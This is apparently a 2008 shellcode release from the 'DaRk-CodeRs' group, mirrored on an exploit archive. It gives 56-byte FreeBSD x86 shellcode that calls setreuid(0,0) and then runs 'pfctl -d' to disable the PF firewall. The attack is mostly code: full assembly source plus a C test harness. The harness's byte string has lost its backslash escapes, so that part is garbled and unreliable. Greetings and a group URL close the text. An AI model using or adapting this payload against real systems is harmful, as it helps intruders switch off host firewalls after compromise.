***(C)oDed bY suN8Hclf***
               DaRk-CodeRs Group production, kid
     [FreeBSD x86 setreuid(0, 0) + execve(pfctl -d) 56 bytes]

The simples way to disable the FreeBSD's packet filter. We do not
flush all rules (pfctl -F all) but only turn the firewall off.

Assembly code:
-------------------------code.asm--------------------------
section .text
global _start

_start:

	xor eax, eax
	push eax
	push eax
	mov al, 126
	push eax
	int 0x80           ; setreuid()

	xor eax, eax
	push eax
	push word 0x642d
	mov ecx, esp       ; ecx contains a pointer to "-d" string

	push eax 
	push 0x6c746366
	push 0x702f6e69
	push 0x62732f2f
	mov ebx, esp       ; ebx contains a pointer to "//sbin/pfctl" string

	push eax
	push ecx
	push ebx
	mov ecx, esp

	push eax
	push ecx
	push ebx
	mov al, 0x3b
	push eax
	int 0x80          ; execve()

	xor eax, eax
	push eax
	push eax
	int 0x80          ; exit()
-------------------------code.asm--------------------------
And C code:
-------------------------code.c----------------------------
#include <stdio.h>

char shellcode[]=
"x31xc0x50x50xb0x7ex50xcdx80x31xc0x50x66x68x2dx64" 
"x89xe1x50x68x66x63x74x6cx68x69x6ex2fx70x68x2fx2f"
"x73x62x89xe3x50x51x53x89xe1x50x51x53xb0x3bx50xcd"
"x80x31xc0x50x50xcdx80";

int main(int argc, char *argv[]){
	int (*func)();
	func=(int (*)())shellcode;
	(int)(*func)();
}
-------------------------code.c----------------------------

Greetz to: 0in, cOndemned (and to other DaRk-CodeRs members), str0ke, e.wiZz!, 
           Katharsis, doctor and many others...
Visit us : www.dark-coders.pl

# www.Syue.com [2008-09-12]